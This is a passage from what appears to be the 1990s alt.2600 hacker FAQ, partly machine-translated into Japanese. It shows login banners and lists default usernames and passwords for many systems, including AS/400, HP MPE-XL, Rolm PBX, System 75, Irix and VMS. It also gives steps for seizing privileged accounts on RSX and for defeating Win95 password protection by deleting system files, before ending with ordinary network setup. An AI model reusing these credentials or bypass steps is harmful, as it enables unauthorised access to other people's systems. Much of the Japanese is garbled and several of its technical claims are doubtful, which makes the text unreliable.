RIGHTS RESERVED. ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY. YOU HAVE ENTERED CPU 1 12:38:47 ON WEDNESDAY 2/15/1995 USERNAME: op PASSWORD: INVALID USERNAME-PASSWORD PAIR ROLM-OSL ~~~~~~~~ MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47 RELEASE 8003 OSL, PLEASE. ? System75 ~~~~~~~~ Login: root INCORRECT LOGIN Login: browse Password: Software Version: G3s.b16.2.2 Terminal Type (513, 4410, 4425): [513] Tops-10 ~~~~~~~ NIH Timesharing NIH Tri-SMP 7.02-FF 16:30:04 TTY11 system 1378/1381/1453 Connected to Node Happy(40) Line # 12 Please LOGIN . VM/370 ~~~~~~ VM/370 ! VM/ESA ~~~~~~ VM/ESA ONLINE TBVM2 VM/ESA Rel 1.1 PUT 9200 Fill in your USERID and PASSWORD and press ENTER (Your password will not appear when you type it) USERID ===> PASSWORD ===> COMMAND ===> Xylogics Annex Communications Server ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc. Checking authorization, Please wait... Annex username: TNO Annex password: Permission granted annex: 23. デフォルトが何であり,XXXの理由を説明するか? AIX ~~~ guest guest AS/400 ~~~~~~ qsecofr qsecofr /* master security officer */ qsysopr qsysopr /* system operator */ qpgmr qpgmr /* default programmer */ also ibm password ibm 2222 ibm service qsecofr 1111111 qsecofr 2222222 qserv qserv qsvr qsvr secofr secofr DECserver ~~~~~~~~~ ACCESS SYSTEM Dynix (The library software, not the UnixOS) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (Type 'later' to exit to the login prompt) setup <no password> library <no password> circ <9 digit number> Hewlett Packard MPE-XL ~~~~~~~~~~~~~~~~~~~~~~ HELLO MANAGER.SYS HELLO MGR.SYS HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP HELLO OP.OPERATOR MGR CAROLIAN MGR CCC MGR CNAS MGR CONV MGR COGNOS OPERATOR COGNOS MANAGER COGNOS OPERATOR DISC MGR HPDESK MGR HPWORD FIELD HPWORD MGR HPOFFICE SPOOLMAN HPOFFICE ADVMAIL HPOFFICE MAIL HPOFFICE WP HPOFFICE MANAGER HPOFFICE MGR HPONLY FIELD HPP187 MGR HPP187 MGR HPP189 MGR HPP196 MGR INTX3 MGR ITF3000 MANAGER ITF3000 MAIL MAIL MGR NETBASE MGR REGO MGR RJE MGR ROBELLE MANAGER SECURITY MGR SECURITY FIELD SERVICE MANAGER SYS MGR SYS PCUSER SYS RSBCMON SYS OPERATOR SYS OPERATOR SYSTEM FIELD SUPPORT OPERATOR SUPPORT MANAGER TCH MAIL TELESUP MANAGER TELESUP MGR TELESUP SYS TELESUP MGE VESOFT MGE VESOFT MGR WORD MGR XLSERVER Common jobs are Pub, Sys, Data Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote Major BBS ~~~~~~~~~ Sysop Sysop Mitel PBX ~~~~~~~~~ SYSTEM NeXTSTEP ~~~~~~~~ root NeXT signa signa Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ fax <no password> PICK O/S ~~~~~~~~ DSA # Desquetop System Administrator DS DESQUETOP PHANTOM Prolog ~~~~~~ PBX PBX NETWORK NETWORK NETOP <null> Radio Shack Screen Savers ~~~~~~~~~~~~~~~~~~~~~~~~~ RS<STORE_ID_NUMBER> Rolm ~~~~ CBX Defaults op op op operator su super admin pwp eng engineer PhoneMail Defaults sysadmin sysadmin tech tech poll tech RSX ~~~ SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM) 1,1/system (Directory [1,1] Password SYSTEM) BATCH/BATCH SYSTEM/MANAGER USER/USER Default accounts for Micro/RSX: MICRO/RSX 交互にあなたは<CTRL-Z>を打つことができる。 いつブーツ連続があなたに日付を求めるかは,使っているアカウントを作り出す。 RUN ACNT or RUN $ACNT (10の{oct}より下の数} Privelegedされている。) 再ブーツは,date/time質問を待つ。MCRプロンプト(タイプ"aboat.") のタイプ; あなたはドットを含んでいなければならない。 これは,タイプ"acslb0:/blks=1000"を働かせる。 いくらかを得ることが新しいステップスペースをそう交換し,割り込まないだろう。 タイプ" $acnt"を走らせなさい。 そして,7もっと少なくのグループ数のいくらかのアカウントのパスワードを変えなさい。 あなたは,^Cが働かないことが分かるかもしれない。その上とESCを試しなさい。 また,有効で,無効の時間までにターミネータとしてすべての3を試しなさい。 システムを停止させるために以上の仕事のどれも,停止スイッチを無効のdate-time だけのあと使わない。1つのユーザモードPSW[4-7]xxxxを捜しなさい。 そのときR6の中へ177777を置きなさい,書きあなたの十字架指がドライブ を保護し,システムを続ける。希望をもってこれは,間接的に爆発して帰着するだろう。 ... そして希望をもってシステムは十分に保障されていない。 c ya the 鷹 ----------------- Sysadmin alt.2600| 仲裁者 ----------------- SGI Irix ~~~~~~~~ 4DGifts <no password> guest <no password> demos <no password> lp <no password> nuucp <no password> tour <no password> tutor <no password> System 75 ~~~~~~~~~ bcim bcimpw bciim bciimpw bcms bcmspw, bcms bcnas bcnspw blue bluepw browse looker, browsepw craft crftpw, craftpw, crack cust custpw enquiry enquirypw field support inads indspw, inadspw, inads init initpw kraft kraftpw locate locatepw maint maintpw, rwmaint nms nmspw rcust rcustpw support supportpw tech field Taco Bell ~~~~~~~~~ rgm rollout tacobell <null> Verifone Junior 2.05 ~~~~~~~~~~~~~~~~~~~~ Default password: 166816 VMS ~~~ field service systest utep XON / XON Junior ~~~~~~~~~~~~~~~~ Default password: 166831 24. 何,ポートXXXはであるか? 大部分のUNIX機械の上のファイル/etc/servicesは,その機械のためのポート 割り当てをリストにする。 ポート割り当ての総目録にとってRFC1700 (コメントのための要求)を読みなさい。 "は,Numbers"を;Assignedした。 (訳注)以下37までなくしました(泣)。で電話系とかを省きwin95に突入。 WINDOZ 95 SECTION WINDOZ 95 SECTION ------------------------------------------------------------ 1.どうやって Win95のパスワードファイルをハックするか windows95がパスワードで保護した領域にアクセスするには、windows のシステム ディレクトリの systray(訳注:systray.Exe) と呼ばれるファイルを消さなくては ならない。このファイルはログイン時のパスワード処理を行う。次に消すファイル はパスワードをベリファイするファイルだ。windowsディレクトリの wininit.exe でこれを消し再スタートすると、パスワードは何でも受け付け、そこにはセキュリ ティは存在しない。 2. IPアドレスの設定 / ゲートウェイ その他 windoz95で動くPCにIPアドレスを与えるには単に、コントロールパネルから ネットワークを選ぶと様々なネットワークプロトコルを追加できる。また、シス テム名つけることができる。I‘アドレスやゲートウェイ、DNSを調べられる。 まず最初に「追加」をクリックする。追加するクライアント、アダプタ、サービス やプロトコルを聞いてくるので、プロトコルを選んでクリックする。左のウィンド ウで Microsoft、右のウインドウで TCP/IP を選ぶ。TCP/IP を追加したらマシンを リスタートする。再びコントロールパネルのネットワークに戻り、TCP/IP をクリッ クし、プロパティボタンをクリックすると別のウィンドウが開き、たくさんの項目が 現れる。IPアドレスを選び正確にIPアドレスを入力する。サブネット・マスクは 通常 255.255.255.0 を使う。 次に「DNS設定」をクリックする。「DNSを使う」を選び自分のホスト名、を host に プロバイダのドメイン名を「ドメイン」に入力する。次にドメインマシンのIPアドレス を追加する。プロバイダは普通2つにドメインマシンを持っている。その両方を入力す る。 最後に[OK」を2回クリックしてネットワーク・コントロールパネルに戻るとマシン をリスタートするか聞かれる。リスタートすると変更が有効になる。 3. win 95でインターネットに接続するには win95でインターネットに接続するには、単にスタートメニューのプログラムを選び、 アクセサリーの中のダイヤルアップネットワークを選ぶ。別のウィンドウが開くので、 新しい接続をクリックする。ここにアクセスプロバイダをセットする。